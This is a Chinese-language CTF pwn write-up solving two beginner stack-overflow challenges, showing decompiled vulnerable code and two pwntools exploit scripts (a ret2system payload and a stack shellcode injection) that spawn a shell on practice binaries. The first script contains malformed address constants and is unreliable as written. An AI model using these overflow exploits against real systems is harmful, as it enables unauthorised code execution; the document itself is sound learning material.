pwn——20180831

Get a shell , come on !

題目1:https://pan.baidu.com/s/1dTE2MxfBvVYTS0MhJwj_vw
提取碼:7wbc

工具:gdb

題解:
1、首先file stack_3一下,32位的,gdb ./stack_3一下,run一下,輸入即報錯。
用ida打開,點進main函數,f5編譯一下,讀一下吧。
2、

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+10h] [ebp-10h]

  memset(&s, 0, 16);//memset用於清空數組
  puts("Input something...!");
  read(0, &s, 64);//從文件中讀取數據
  return 0;
}

讀代碼得:read函數可以從標準輸入那讀取64個字符到緩衝區s, 然而緩衝區s的大小是16, 所以有棧溢出。
3、點開system函數看,竟然是“echo how to do?”,我們想要執行“bin/sh”來獲得權限,找一下吧,shift+f12找到了“bin/sh”所在地址,好的,因爲要回主函數,所以找到system_plt ,哦還要找個臨界值28,好了開始寫腳本吧。

from pwn import *

system_plt=0x0804837
binsh_addr=0804A02C

p=process('./stack_3')
p.recvuntil("Input something...!")
payload='a'*28 + p32(system_plt) + p32(0xdeadbeef) + p32(binsh_addr)
p.sendline(payload)
p.interactive()

跑一下,哇,獲得權限了。
這裏寫圖片描述

知識點
1、讀懂僞代碼(memset,read),找得到溢出值,system_plt和binsh_addr。
2、寫python腳本。
3、要懂棧溢出
(qwq,不知道爲什麼知識點僅寫了這麼點,我可是剛碰pwn啊,不應該很多嗎)

題目2:https://pan.baidu.com/s/10aTSCCZ_WrxxTwsnzYXFTg
提取碼:volv

題解:
1、checksec看保護機制,ida靜態分析,確定緩衝區到返回地址的距離。
2、找不到“bin/sh”(shift+f12或在system中找)怎麼辦。執行shellcode來得到一個shell.
3、怎麼執行shellcode?把shellcode放到棧上,把返回地址覆蓋爲shellcode。
4、shellcode怎麼放到棧上,放在哪裏,地址呢?題中已經泄露了緩衝區buf的地址,把shellcode放到buf中吧。
(他給的地址不能用,因爲隨機地址保護機制是打開的,所以要在執行的時候獲得地址)
那麼腳本如下:

from pwn import *

p=process('./stack_2')

data=p.recvuntil("?\n")
shellcode_addr=int(data[22:32],16)
#獲取地址
shellcode=asm(shellcraft.i386.linux.sh(),arch='i386')
#構造shellcode
payload=shellcode + 'a'*(76-len(shellcode)) + p32(shellcode_addr)
""“
構造payload
"""

p.sendline(payload)
p.interactive()

這裏寫圖片描述

知識點:
1、利用pwntools構造shellcode
2、如何獲取buf地址

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章